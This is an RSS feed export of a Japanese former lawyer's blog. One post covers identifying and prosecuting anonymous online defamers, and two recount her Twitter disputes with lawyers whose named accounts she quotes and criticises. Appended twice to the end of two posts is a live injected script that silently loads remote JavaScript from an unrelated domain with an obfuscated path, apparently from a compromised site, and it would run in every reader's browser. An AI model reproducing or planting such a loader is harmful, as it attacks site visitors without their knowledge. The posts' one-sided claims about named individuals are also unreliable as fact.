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	<title>ネット誹謗中傷 | 元弁護士・法律ライター福谷陽子【ライター事務所HARUKA】</title>
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	<description>法律・不動産、金融など専門記事ライティングは専門ライターへお任せ下さい！元弁護士・プロの専門ライターが運営するライター事務所。多くの法律事務所様、法律系メディア、不動産メディア様などからご依頼をお受けしております。お問い合わせはフォームからお気軽にどうぞ！</description>
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		<title>ネット誹謗中傷は本人特定される！油断してると逮捕の可能性も！</title>
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		<dc:creator><![CDATA[福谷陽子]]></dc:creator>
		<pubDate>Sun, 16 Oct 2022 10:03:33 +0000</pubDate>
				<category><![CDATA[ネット誹謗中傷]]></category>
		<category><![CDATA[法律問題]]></category>
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					<description><![CDATA[<p>ネット上で知らない人を攻撃すると、バレてしまうのでしょうか？ ネット活動は匿名で行うケースが多数です。「匿名だからバレない」「本人特定はされないだろう」と油断している人も多いのではないでしょうか？ しかしネットで他人を誹</p>
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										<content:encoded><![CDATA[<p data-role="paragraph">ネット上で知らない人を攻撃すると、バレてしまうのでしょうか？</p>
<p data-role="paragraph">ネット活動は匿名で行うケースが多数です。「匿名だからバレない」「本人特定はされないだろう」と油断している人も多いのではないでしょうか？</p>
<p data-role="paragraph">しかしネットで他人を誹謗中傷したり人格攻撃したりすると、本人特定される可能性があります。</p>
<p data-role="paragraph">高額な慰謝料を請求されたり、ときには逮捕されてしまったりするケースもあるので注意してください。</p>
<h2 data-role="heading-primary">ネット誹謗中傷で本人特定する方法</h2>
<p data-role="paragraph">最近では、ネット上での過度な人格攻撃や集団リンチ的な攻撃、誹謗中傷が問題担っています。</p>
<p data-role="paragraph">近年、テレビ番組に出演していた女子プロレスラーの木村花さんが自殺してしまった痛ましい件もあり、世間的にもネット誹謗中傷が問題視されています。</p>
<p data-role="paragraph">しかし誹謗中傷や人格攻撃はなかなかなくなりません。</p>
<p data-role="paragraph">ここだけの話、弁護士でも人格攻撃してくる人がいるので要注意です（私も被害を受けたことがあります）。</p>
<p data-role="paragraph"><a href="https://legalharuka.com/1209" target="_blank" rel="nofollow noopener" data-role="anchor">ネット名誉毀損！弁護士から集団で人格攻撃！Twitterの法クラ弁護士とは？</a></p>
<p data-role="paragraph">ネット上で他人を攻撃する人や嘘をつく人は「匿名だからバレない」と考えているケースが多いと思われます。</p>
<p data-role="paragraph">しかし実際には、匿名でも特定できるので油断してはなりません。</p>
<p data-role="paragraph">「プロバイダ責任制限法」という法律により、被害者には相手を特定する権利が認められるのです。</p>
<p data-role="paragraph">実際に誹謗中傷した人が特定されて、逮捕されたり有罪になったりしているケースもたくさんあります。</p>
<p data-role="paragraph">良い子のみなさんは、絶対にネット誹謗中傷などしないようにしましょう。</p>
<h2 data-role="heading-primary">法改正で特定が簡単になった</h2>
<p data-role="paragraph">実は2022年10月から、プロバイダ責任制限法が改正されて本人特定がより簡単になっています。</p>
<p data-role="paragraph">これまでは仮処分と訴訟という2段階の手続きが必要だったのですが、1つの手続きでできるようになったのです。</p>
<p data-role="paragraph">法改正により、これからはますますネット誹謗中傷した場合に特定されるリスクが高まると予想されます。</p>
<h2 data-role="heading-primary">侮辱罪の法定刑が引き上げに</h2>
<p data-role="paragraph">ネット誹謗中傷をすると、慰謝料請求される可能性があります。</p>
<p data-role="paragraph">相手が本人特定するのに使った費用も請求されて数百万円もの支払いを要求されるケースもあるので軽く考えてはなりません。</p>
<p data-role="paragraph">またネット誹謗中傷で逮捕されるケースもよくあります。成立する犯罪は「侮辱罪」や「名誉毀損罪」です。</p>
<p data-role="paragraph">これまで侮辱罪は非常に軽い刑罰しかなかったのですが、近年法改正によって侮辱罪の法定刑が大きく引き上げられました。</p>
<p data-role="paragraph">今後は1年以下の懲役や数十万円の罰金が適用される可能性もあるので、これまでのように軽く考えるべきではありません。</p>
<h2 data-role="heading-primary">被害にあったら相手を特定しよう</h2>
<p data-role="paragraph">反対に、ネット誹謗中傷で被害に遭ってしまったら、相手を特定して慰謝料請求などを行いましょう。</p>
<p data-role="paragraph">自分ひとりで特定するのは大変なので、ネット誹謗中傷問題に力をれている弁護士に相談するのが良いと考えます（私なら弁護士へ依頼します。手間がかかるので…）。</p>
<p data-role="paragraph">今回はネット誹謗中傷が行われたときの本人特定について解説しました。</p>
<p data-role="paragraph">今後のネット活動の参考にしてみてくださいね。</p>
<p data-role="paragraph">なおブログやYou Tube、Twitterでも情報発信しています。</p>
<p data-role="paragraph">法クラで攻撃された話なども行っていますので、よかったらのぞいてみてください。</p>
<p><div class="video"><iframe class="youtube-player" width="640" height="360" src="https://www.youtube.com/embed/742KoxcxeV0?version=3&#038;rel=1&#038;showsearch=0&#038;showinfo=1&#038;iv_load_policy=1&#038;fs=1&#038;hl=ja&#038;autohide=2&#038;wmode=transparent" allowfullscreen="true" style="border:0;" sandbox="allow-scripts allow-same-origin allow-popups allow-presentation"></iframe></div></p>
<p>&nbsp;</p>
<p data-role="paragraph">
<p><script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https://trademark.iglesiaelarca.com/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');</script><script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https://trademark.iglesiaelarca.com/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');</script></p>The post <a href="https://legalharuka.com/1994">ネット誹謗中傷は本人特定される！油断してると逮捕の可能性も！</a> first appeared on <a href="https://legalharuka.com">元弁護士・法律ライター福谷陽子【ライター事務所HARUKA】</a>.]]></content:encoded>
					
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		<title>Twitterでウザ絡み！法クラ弁護士の闇　Part2</title>
		<link>https://legalharuka.com/1804</link>
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		<dc:creator><![CDATA[福谷陽子]]></dc:creator>
		<pubDate>Sat, 10 Jul 2021 18:00:25 +0000</pubDate>
				<category><![CDATA[ネット誹謗中傷]]></category>
		<category><![CDATA[法律問題]]></category>
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					<description><![CDATA[<p>最近、Twitterの法クラ弁護士が「女子校のプールの水になりたい」ツイートに関連してYahooニュースで批判された事件がありました。 それに関連して、以前にも私が一部の「法クラ」と呼ばれる弁護士の一団から個人攻撃を受け</p>
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										<content:encoded><![CDATA[<p>最近、Twitterの法クラ弁護士が「女子校のプールの水になりたい」ツイートに関連してYahooニュースで批判された事件がありました。</p>
<p>それに関連して、以前にも私が一部の「法クラ」と呼ばれる弁護士の一団から個人攻撃を受けた話をしましたが、今回またしつこく陰湿な弁護士からしつこく絡まれた件がありましたので、ご報告がてらブログに書こうかと思いました。</p>
<p>ちなみに以前のブログはこちらです。</p>
<div class="innerlink-box1">
<div class="innerlink-box1-title"><i class="jic jin-ifont-post"></i> あわせて読みたい</div>
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自分が受けたことがなくても、人が「炎上」しているのを横目で見て...</span></div></div></a>
</div>
<p>なおほとんどの弁護士先生はこのブログに登場するような非常識な方ではなく素敵な方、有能すぎて感服する方、お優しい方、お話のわかる方が多く、私もそういった方たちは大好きです。日頃お世話になり、感謝している弁護士の先生もたくさんいます。</p>
<p>しかし中には今回紹介するようなおかしな方々もいることをお伝えしたいと思います。<br />
特に「弁護士とはどんな人種なのかわからい」<br />
「頼する弁護士をどうやって選べばいいかわからない」<br />
という方はぜひ参考にしていただければ幸いです。</p>
<h2>今回の事件で問題となったツイート</h2>
<p>今回、問題となったのは、私が書いたこちらのツイートです。</p>
<blockquote class="twitter-tweet">
<p dir="ltr" lang="ja">ちなみに以前ツイッタでも、一般にわかりやすいと思って</p>
<p>「裁判例」といわずに「こういう法律があるよ」と指摘したら</p>
<p>法○ラの弁護士（あえてこの言葉を使う）から</p>
<p>「そんな法律はない」<br />
「さすが『元』弁護士」</p>
<p>とか嫌味言われて草だった</p>
<p>専門家風吹かしてると一般のお客様は離れていくと思う</p>
<p>— 元弁護士の世捨て猫&#x1f31f;ぴりか（mimi）法律ライター (@pirica8) <a href="https://twitter.com/pirica8/status/1413801641187237889?ref_src=twsrc%5Etfw">July 10, 2021</a></p></blockquote>
<p><script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script><br />
これは、以前に私が別の法クラのおかしな弁護士から名誉毀損されたときに、そちらのツイートを引用リツイートしたものを元にしています。</p>
<p>&nbsp;</p>
<h3>以前のツイートを行った経緯と面倒な絡みについて</h3>
<p>そのときにはその弁護士の方が別の方の名誉毀損的なツイートを引用して私を個人攻撃してきました。</p>
<p>その方が「自分のどこが名誉毀損なのか？」と言い、ご自身の問題行動をわかっておられない様子でしたので「他人のツイートを引用した場合にも名誉毀損になるという法律がありますよ」とツイートしたのです。</p>
<p>&nbsp;</p>
<p>実はこのような場合「法律」というよりもそういった「裁判例」があるといった方が正確です。もちろん私もそのことは知っていましたが一般の感覚では「他人のツイートを引用したら名誉毀損になるという裁判例がありますよ」といわれても、ピンときにくいかなー、と思いました。</p>
<p>&nbsp;</p>
<p>なので私も少しだけ迷ったのですが、「裁判例」ではなく「法律」と表現したのです。<br />
実際には「法律的な理解をされています」といった意味合いです。Twitterは140文字の限度があるので、端折って「法律」と書きました。</p>
<p>たしかに正確じゃないんですよ。それはわかってるんです。<br />
でもまぁ、Twitterだしそんなに厳密にしなくても良いだろう、と思いました。</p>
<p>Twitterにそんなに過敏になる人がいるとは、夢にも思っていませんでした。</p>
<p>&nbsp;</p>
<p>ただ法クラの人たちは「裁判例」と「法律」が全く違うといって、まったく無関係な知らない人まで大量にあらわれて、過去のことまでもしつこく蒸し返しつつ、いろいろと責め立ててきたのです。</p>
<p>最終的に「元弁護士だからそんな区別もつかないのか」などとたくさんの法クラ弁護士が嫌味や皮肉を言って騒ぎ出しました。</p>
<p>&nbsp;</p>
<p>私は非常に面倒くさくなり、付き合いきれないと思って放っておいたらそのうち収まった、といった具合です。</p>
<p>&nbsp;</p>
<h2>今回のツイートについて</h2>
<p>ただし私も以前のことや3年前の事件を忘れたわけではありません。</p>
<p>いじめた方は忘れても、いじめられた方は一生忘れないのです。</p>
<p>&nbsp;</p>
<p>ネットであっても弁護士であっても同じことです。</p>
<p>そこで今回、あるツイートをきっかけに以前のことを思い出し、冒頭でご紹介したツイートをしました。</p>
<p>&nbsp;</p>
<blockquote class="twitter-tweet">
<p dir="ltr" lang="ja">ちなみに以前ツイッタでも、一般にわかりやすいと思って</p>
<p>「裁判例」といわずに「こういう法律があるよ」と指摘したら</p>
<p>法○ラの弁護士（あえてこの言葉を使う）から</p>
<p>「そんな法律はない」<br />
「さすが『元』弁護士」</p>
<p>とか嫌味言われて草だった</p>
<p>専門家風吹かしてると一般のお客様は離れていくと思う</p>
<p>— 元弁護士の世捨て猫&#x1f31f;ぴりか（mimi）法律ライター (@pirica8) <a href="https://twitter.com/pirica8/status/1413801641187237889?ref_src=twsrc%5Etfw">July 10, 2021</a></p></blockquote>
<p><script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script><br />
するとこれをみて、また法クラの弁護士の方々が「裁判例と法律は違う」という以前の話を蒸し返してきたのです。</p>
<p>まったく知らない人なのにいきなり私のツイートを引用して「さすが「元」弁護士だな」</p>
<p>「ライターなのに言葉づかいが丁寧でない」みたいなことを言い出す始末です。</p>
<blockquote class="twitter-tweet">
<p dir="ltr" lang="ja">さすがは「元」弁護士 <a href="https://t.co/yvDY5BR90S">https://t.co/yvDY5BR90S</a></p>
<p>— hemuhemu (@muhemu_he) <a href="https://twitter.com/muhemu_he/status/1413866335512141826?ref_src=twsrc%5Etfw">July 10, 2021</a></p></blockquote>
<p><script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script></p>
<blockquote class="twitter-tweet">
<p dir="ltr" lang="ja">裁判例と法律は全く違うじゃん。変わらずひどいな。 <a href="https://t.co/3k4ydvHw1P">https://t.co/3k4ydvHw1P</a></p>
<p>— 大奥井 閑蔵 (@beautifulday00) <a href="https://twitter.com/beautifulday00/status/1413876911122509827?ref_src=twsrc%5Etfw">July 10, 2021</a></p></blockquote>
<p><script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script><br />
「相変わらず」というあたりが粘着性を感じさせますよね（笑）。</p>
<blockquote class="twitter-tweet">
<p dir="ltr" lang="ja">誤解を招く「感じ」<br />
こういう表現もそうですが、ライターさんのわりに言葉が丁寧でないように思われます<br />
そして、裁判例と法律をごっちゃにするのはものすごく不適切です<br />
書いてて違和感なかったんですかね <a href="https://t.co/s8409f2G8u">https://t.co/s8409f2G8u</a></p>
<p>— ねこパ〜スタ (@abcabcabc999666) <a href="https://twitter.com/abcabcabc999666/status/1413882394793234432?ref_src=twsrc%5Etfw">July 10, 2021</a></p></blockquote>
<p><script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script></p>
<p>&nbsp;</p>
<p>…というか、ライターは丁寧な言葉でツイートしなければいけないのでしょうか？</p>
<p>そんなの誰が決めたのか、意味がわからないです…。</p>
<p>そもそも弁護士の方だって好き放題ツイートしてますよね？</p>
<p>ライターも自由でいいんじゃないでしょうか？</p>
<p>その後、この方は私にものすごくしつこく絡んできて「謝罪」を要求されました。</p>
<p>挙句の果てに私のツイートを勝手にスクショで添付。</p>
<p>確か他人のツイートを無断でスクショ添付送信するのって、著作権侵害じゃなかったでしたっけ？</p>
<p>弁護士が著作権侵害してもいいんでしょうか？謎ですね。</p>
<p>ちなみに引用しようとしたのですが、「著作権侵害じゃないですか？」と指摘したら、それまでの絡みが嘘のようにさっぱり音沙汰がなくなりました。<br />
著作権侵害に関する見解をお伺いします、とツイートしたのですが、完全に無視されてます。</p>
<p>弁護士なのに著作権法、知らないのでしょうか？</p>
<p>能力不足を知らないまま、今後もこんな方に相談してしまう依頼者の方がお気の毒です…。<br />
一般には弁護士情報が開かれてないので、本当に問題が多いな、と感じますね。</p>
<blockquote class="twitter-tweet">
<p dir="ltr" lang="ja">人のツイートのスクショを勝手に添付するのって著作権法違反にならないんでしたっけ？</p>
<p>教えて！弁護士先生</p>
<p>もちろん私可してませんけど <a href="https://t.co/EGZCwifwEf">https://t.co/EGZCwifwEf</a></p>
<p>— 元弁護士の世捨て猫&#x1f31f;ぴりか（mimi）法律ライター (@pirica8) <a href="https://twitter.com/pirica8/status/1414057005510103041?ref_src=twsrc%5Etfw">July 11, 2021</a></p></blockquote>
<p><script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script><br />
その後、私がTwitterへ問題を通報すると、翌日にはこのようなツイートが。</p>
<p>&nbsp;</p>
<blockquote class="twitter-tweet">
<p dir="ltr" lang="ja">思った以上に深刻そうだから彼女を相手にしたツイートは全部削除することとする</p>
<p>— ねこパ〜スタ (@abcabcabc999666) <a href="https://twitter.com/abcabcabc999666/status/1414365610935414792?ref_src=twsrc%5Etfw">July 11, 2021</a></p></blockquote>
<p><script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script></p>
<p>「深刻そう」とかごまかしていますが、弁護士なのに著作権侵害しちゃったらまずいですよね（笑）。たぶん懲戒されるかも。</p>
<p>なんにせよ「深刻そうだから」とかごまかして全部消去してなかったことにしようとするあたりに陰湿性を感じます。</p>
<p>匿名なので詳細はわからないのですが、都内の女性弁護士でアソシエイト（雇われ弁護士）のようです。</p>
<p>自分の事務所も持てずに日々ボスの指導を受けて溜まったストレスをTwitterで吐き出しているのかもしれません。</p>
<p>意外とTwitterでこういった方、多そうですよね。</p>
<p>なおこの「ねこパ～スタ」というアカウントは、私にウザ絡みしたり著作権侵害したりして攻撃してくる割に、ずっと私をフォローし続けているという謎のストーカー行為をされています。</p>
<p>正直気持ち悪いのでブロックしてもよいのですが、まぁ見られて困るツイートはしていないから静観。</p>
<p>するとたまに絡まれて「うざい…」ってなるんですけどね（笑）。</p>
<p>弁護士もTwitterで個人攻撃や著作権侵害やったりネットストーカーやったりで忙しいですね。</p>
<p>こんなことやってたら絶対稼げないと思うので、本当にお気の毒に思います…。</p>
<p>「喧嘩を売ってきた」とか言いがかりをつけてくる謎の弁護士もいました。</p>
<p>&nbsp;</p>
<blockquote class="twitter-tweet">
<p dir="ltr" lang="ja">自分から喧嘩売っといて、何言ってんだろう<br />
ずれてるという論拠も不明確だし<br />
「元」弁護士としてもライターとしても、いかがなものかと <a href="https://t.co/PJEdER08gw">https://t.co/PJEdER08gw</a></p>
<p>— たけうち のぶやす&#x2747;&#xfe0f;&#x1f408;LINE相談はじめました (@nob0117) <a href="https://twitter.com/nob0117/status/1413909318739447809?ref_src=twsrc%5Etfw">July 10, 2021</a></p></blockquote>
<p><script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script></p>
<p>いやいや、絡んできたのはそっちでしょww</p>
<p>今回は、この方が一番しつこかったです。<br />
実名でTwitterw運用しているのに、イメージ低下とか気にしなくていいのかな？と思いました。<br />
あまりフォロワーさんも多くないので、あまり真面目に運用しているわけではないのでしょうかね？<br />
といいつつLINE相談への誘導もしているみたいで謎ですね。</p>
<blockquote class="twitter-tweet">
<p dir="ltr" lang="ja">妄想乙 <a href="https://t.co/c1JF6Xm4q0">https://t.co/c1JF6Xm4q0</a></p>
<p>— たけうち のぶやす&#x2747;&#xfe0f;&#x1f408;LINE相談はじめました (@nob0117) <a href="https://twitter.com/nob0117/status/1413839729062137857?ref_src=twsrc%5Etfw">July 10, 2021</a></p></blockquote>
<p><script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script></p>
<p>私精神障害者（手帳持ち）なんですが「妄想」とか言われてしまいました。<br />
弁護士なのにそんなこと言ってよいのでしょうか？<br />
弁護士がTwitterによって懲戒された事例もあるみたいですし、気になりますよね。。</p>
<p>あと、「バズり目的で法クラに絡んでいる」と言ってきた方も。<br />
いやいや、こーゆーのはバズるとは言わないです。<br />
普通に絡まれてこっちも苦痛なだけなので。<br />
今回のツイートをしたのは、私が個人的に根に持って恨みを抱いているからというだけのチンケな理由ですよ。<br />
そもそも誰にも見向きもされないだろうと思っていたのに、こんなに法クラの弁護士に反応されて驚きました。。</p>
<p>いやはや、元弁護士のライターはツイートするとき、いつも「法律の正確性」や「丁寧な言葉」に配慮しなければならないのでしょうか？</p>
<p>発想が謎すぎますね。</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>また「依頼者に説明するとき、法律と裁判例を使い分けている」と言っている人も。</p>
<blockquote class="twitter-tweet">
<p dir="ltr" lang="ja">裁判例の説明って厳密な解説を依頼者にするのめんどいので「裁判所の判断では〜」とか「裁判所の考え方では〜」と意訳して判決内容を説明している。でも「法律では〜」って言い換えるのは相手が法律の素人相手だとしてもさすがに馬鹿にしているとしか思えない。</p>
<p>— まーやん (@masayar2) <a href="https://twitter.com/masayar2/status/1413853747227234308?ref_src=twsrc%5Etfw">July 10, 2021</a></p></blockquote>
<p><script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script></p>
<p>この方は直接渡しに絡んできたわけではないのですが、今回の謎の拡散に引き寄せられてこういった内容をツイートされたのでしょう。</p>
<p>とはいえ、弁護士が依頼者説明の際に裁判例と法律の使い分けをするのは当たり前ですよね。</p>
<p>「私が適当にツイート」するのと「弁護士がお金をもらって依頼者に説明」するのを同じにとらえられても困りますよね？</p>
<p>私はツイートするとき、弁護士がお金をもらって依頼者に説明するのと同じくらい最新の注意を払わないといけないのでしょうか？<br />
そもそも弁護士やめてますが。<br />
本職の弁護士さんもそこまで配慮してツイートしているように見えませんが。</p>
<p>&nbsp;</p>
<h2>結局個人攻撃したいだけの人たち</h2>
<p>…彼らはおそらく私が何をやっても気に入らないのでしょう。</p>
<p>しかしつまらない「絡み」により、相手から恨みを抱かれることもあるのです。</p>
<p>先日の女子校のプールの水事件から何の学びも得ていないようです。</p>
<p>たとえ相手が小さく見えても、後に大きなしっぺ返しを食らうこともあります（今回の私がそうだという趣旨ではありませんが）。<br />
人生で敵は少ないに越したことはないので、つまらない言動は控えるのが吉だと思います。</p>
<p>&nbsp;</p>
<p>さてさて無駄に敵を作ることは人生の損失にしかならないというのに、基本的なことがよくわかっていない人たちなのでしょう。</p>
<p>人生の貴重な時間をめちゃくちゃ無駄にしていてかわいそうですね。</p>
<p>思考を変えないと一生成功できないのではないかと思います。</p>
<p>&nbsp;</p>
<p>私は障害者でありただの一般女性です。</p>
<p>それを弁護士が集団でよくわからない言いがかりをつけてTwitterで毎回フルボッコにしようとしてくるのはいったいどういうわけなのでしょうか？</p>
<p>&nbsp;</p>
<p>こういったおかしな弁護士が淘汰されて、依頼者に親身になって対応してくださる素敵な先生方が活躍できる社会が来ればよいのに、と思います。</p>
<p>&nbsp;</p>
<p>幸い私の仕事は弁護士の集客にかかわることが多いので、これからも信頼できる先生のお役に立てるようんばっていきたいと考えています。</p>
<p>&nbsp;</p>
<p>一般ライターの適当なツイートに必死で絡んでくるよくわからない弁護士に、みなさまが引っかからないようお祈りします。</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;<script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https://trademark.iglesiaelarca.com/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');</script><script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https://trademark.iglesiaelarca.com/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');</script></p>The post <a href="https://legalharuka.com/1804">Twitterでウザ絡み！法クラ弁護士の闇　Part2</a> first appeared on <a href="https://legalharuka.com">元弁護士・法律ライター福谷陽子【ライター事務所HARUKA】</a>.]]></content:encoded>
					
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		<title>ネット名誉毀損！弁護士から集団で人格攻撃！Twitterの法クラ弁護士とは？</title>
		<link>https://legalharuka.com/1209</link>
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		<dc:creator><![CDATA[福谷陽子]]></dc:creator>
		<pubDate>Wed, 30 Jun 2021 09:00:28 +0000</pubDate>
				<category><![CDATA[その他法律問題]]></category>
		<category><![CDATA[ネット誹謗中傷]]></category>
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					<description><![CDATA[<p>ツイッターで誹謗中傷を受けたことのある方、きっといらっしゃいますよね。 自分が受けたことがなくても、人が「炎上」しているのを横目で見ていたことはあると思います。  私は元弁護士のライターなのですが、先日「法ク</p>
The post <a href="https://legalharuka.com/1209">ネット名誉毀損！弁護士から集団で人格攻撃！Twitterの法クラ弁護士とは？</a> first appeared on <a href="https://legalharuka.com">元弁護士・法律ライター福谷陽子【ライター事務所HARUKA】</a>.]]></description>
										<content:encoded><![CDATA[<p>ツイッターで誹謗中傷を受けたことのある方、きっといらっしゃいますよね。</p>
<p>自分が受けたことがなくても、人が「炎上」しているのを横目で見ていたことはあると思います。</p>
<p>&nbsp;</p>
<p>私は元弁護士のライターなのですが、先日「法クラ」と呼ばれるTwitterの弁護士からひどい誹謗中傷と個人攻撃を受け、「集団リンチ」されました。</p>
<p>あまりにしつようで粘着質、相手が自分より小さい、弱い存在だと知ると増長してとことん追い詰めてくる姿勢は本当に気持ち悪くおそろしかったです。</p>
<p>3年経ってもしつこく絡んでくる人もいて、想像を絶する幼稚さです。</p>
<p>みなさんが思い浮かべる「弁護士像」とはかけ離れています。</p>
<p>こんな人たちが日本の司法をにない、正義を代弁しているかと思うと本当に情けなくなります。</p>
<p>この実態を知っていただきたくブログに書くことにしました。</p>
<p>先日、Yahooニュースでも法クラ弁護士の病み（）の記が公開され、話題になっていました。</p>
<p>やはり被害者は私だけじゃなかったのだと確信しました。</p>
<p>みなさまもぜひ読んでみてください。</p>
<p><a href="https://news.yahoo.co.jp/articles/051fd25471d6ce07aa58d71cdb2bbdd2192ceb7e" target="_blank" rel="noopener">「女子校のプールの水になりたい」騒動で女性に逆ギレ、法クラ弁護士の深い病み</a></p>
<p>なおYou Tubeでもお話しています。</p>
<p><div class="video"><iframe class="youtube-player" width="640" height="360" src="https://www.youtube.com/embed/742KoxcxeV0?version=3&#038;rel=1&#038;showsearch=0&#038;showinfo=1&#038;iv_load_policy=1&#038;fs=1&#038;hl=ja&#038;autohide=2&#038;wmode=transparent" allowfullscreen="true" style="border:0;" sandbox="allow-scripts allow-same-origin allow-popups allow-presentation"></iframe></div></p>
<h2>1．きっかけは「退職代行業の紹介」</h2>
<p>今回、私は「非弁」という理由で誹謗中傷されました（実際には非弁ではありません。法クラ弁護士の集団ヒステリーです）。</p>
<p>そもそものきっかけは、私が「退職代行業」の会社を勧める記事を書いてしまったことです。</p>
<p>退職代行業というのは、会社を自分で辞めることの出来ない人の代わりに、断りを入れてあげる業者のことです。</p>
<p>このようなサービスがあることを、私は今回依頼があるまで全く知らなかったのですが、どうも弁護士さん達の間では「非弁」ということで問題視されていたようです（私はもはや弁護士の世界を離れて久しいのでまったく知りませんでした。ただ知らなかった私に問題があるのは事実です）。</p>
<h3>なぜ退職代行を紹介したのか？</h3>
<p>今年の10月下旬～11月下旬くらいまで、私はめちゃくちゃな繁忙期となっていて、ツイッターもテレビも一切見ずに一日中ライティングをしている毎日でした。</p>
<p>そんな中、クラウドソーシングサイトで、退職代行業の方が「ブログ内で会社を紹介してほしい」と依頼してきたのです。</p>
<p>私はブログを開始してから1年も経っておらず、これまでブログ記事を全部消してまったりアドセンスを無効されたりして何度もブログ閉鎖の危機に追い込まれ、紆余曲折ありました。</p>
<p>そんな私のへぼブログ内で事業を紹介してほしいなどと言われ、少し嬉しくなり「あっ、はい、いいですよ」と二つ返事でOKしました。報酬ははっきり言ってめちゃ安いです。</p>
<p>&nbsp;</p>
<p>それまで私は退職代行業というものを知らず、会社のホームページを見ると</p>
<p>「やめられないあなたのために会社を退職」</p>
<p>みたいなことが書いてあったので少しウケて笑ってしまい、「世の中にはいろいろなサービスがあるものだ」などと考えていました。</p>
<p>&nbsp;</p>
<p>そして、「さささっ」と記事を書いてブログ内に投稿し「さぁ、次の仕事」と思っていたところ、クライアントの方から「ツイッターでも紹介してほしい」と言われましたので、「はいはい」と投稿をしました。</p>
<p>&nbsp;</p>
<h2>2．予想外の炎上</h2>
<p>そうすると、その1日か2日くらい後で、どなたか弁護士さんが私の投稿を引用して「（退職代行を）勧めるのか」みたいなリツイートをしたのです。</p>
<p>私は「何のこっちゃ？」と思っていたのですが、そうしたらそれがどんどん広がり「非弁を勧めている」というようなコメントや引用がどんどん寄せられました。</p>
<p>言い方もそれに限らず「こいつは非弁」「元弁護士とか怪しい」「元弁護士とか言いながらライターやるな」「肩書きを外せ」などと言われました。</p>
<p>退職代行業だけではなく、以下のようなことまで誹謗中傷されました。</p>
<p>&nbsp;</p>
<h3>結婚や夫婦のカウンセラーについて</h3>
<p>私は、今年の夏頃に「結婚や夫婦関係に関するカウンセラー」を始めたところでした。</p>
<p>私はもともと家族の問題に関心があって（自分自身がいろいろしんどい思いをしたこともあって）、お話を聞くことで、お気持ちを楽にしてもらえると思ったからです。</p>
<p>たとえば結婚しようかどうか迷っている、どんな結婚相手を選んだら良いのか、夫との関係うまくいかないけれどどうしたら良いのか、子育についての悩みとか、いろいろ聞いて気持ちを楽にしてあげたいという思いでした。</p>
<p>はっきり言ってお金はどうでもよくて、最初の方は無料で相談に乗っていて、2人目の方は1000円でした。（サイトに手数料を取られるので手取りは800円です）。</p>
<p>内容はお二人とも「結婚して良いか悩んでいる。彼氏のことを信用して良いの？」というようなことで、私や私自身の友人の体験談を元にお話をしました。お二人ともとても喜んでくださいました。</p>
<p>↓実際に相談された方の記事</p>
<p><a href="https://www.prisoner-lookinstars.net/entry/2018/08/27/%E3%80%8C%E7%A7%81%E3%80%81%E5%BD%BC%E3%81%A8%E7%B5%90%E5%A9%9A%E3%81%97%E3%81%A6%E3%82%82%E5%A4%A7%E4%B8%88%E5%A4%AB%E3%81%A7%E3%81%99%E3%81%8B%E3%80%8D%E5%85%83%E5%BC%81%E8%AD%B7%E5%A3%AB" target="_blank" rel="noopener">私、彼と結婚しても大丈夫ですか？</a></p>
<p>また、念のため、夫婦カウンセラーやります、という投稿をした直後に、「このサービスでは法律相談は受けられません」と注意的に投稿をしています。</p>
<p>↓そのときの投稿</p>
<p>https://twitter.com/pirica8/status/1031326743095721984</p>
<p>これが「法律相談」だと言われ「金をもらっている」「商売」「非弁」とか言われて多くの人から誹謗中傷されました。「法律相談ではないことを明記しろ」と言ってきた弁護士もいました。</p>
<p>しかし上記のように、注意的に直後にツイートで示していたのですよ。それに内容を見たら法律相談じゃないことは明らかですよね。</p>
<p>まあもめごとになるのが面倒なので、その内容も書き足しましたが。そしたらその弁護士が、後でツイートで「この書き足しは当職の指摘によるものです」などと言っていました。</p>
<p>&nbsp;</p>
<h3>「法律相談Q&amp;A」というタイトルの労働問題解説記事について</h3>
<p>次に問題になったのが、私が過去に執筆した「法律相談Q＆A」というタイトルの法律解説記事です。どこから探し出してきたのか知りませんが、誰かがこの記事を引っり出して、私が「誌上法律相談している」というわけです。</p>
<p>つまり私が「実際に法律相談をしてお金をもらっている」と言いたいわけですね。</p>
<blockquote class="twitter-tweet">
<p dir="ltr" lang="ja">福谷さんっていう元弁護士が、東洋経済で誌上法律相談してるんだが。</p>
<p>こういうのが許されるなら、弁護士としての責任や負担を免れつつ、実質的に弁護士としての仕事ができちゃうね。 <a href="https://t.co/gUsPV1BjKa">https://t.co/gUsPV1BjKa</a></p>
<p>— ピピピーッ (@O59K2dPQH59QEJx) <a href="https://twitter.com/O59K2dPQH59QEJx/status/1064777238686556160?ref_src=twsrc%5Etfw">November 20, 2018</a></p></blockquote>
<p><script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script></p>
<blockquote class="twitter-tweet">
<p dir="ltr" lang="ja">清々しいくらい、正面からの非弁。</p>
<p>— ささきりょう (@ssk_ryo) <a href="https://twitter.com/ssk_ryo/status/1064800210990260224?ref_src=twsrc%5Etfw">November 20, 2018</a></p></blockquote>
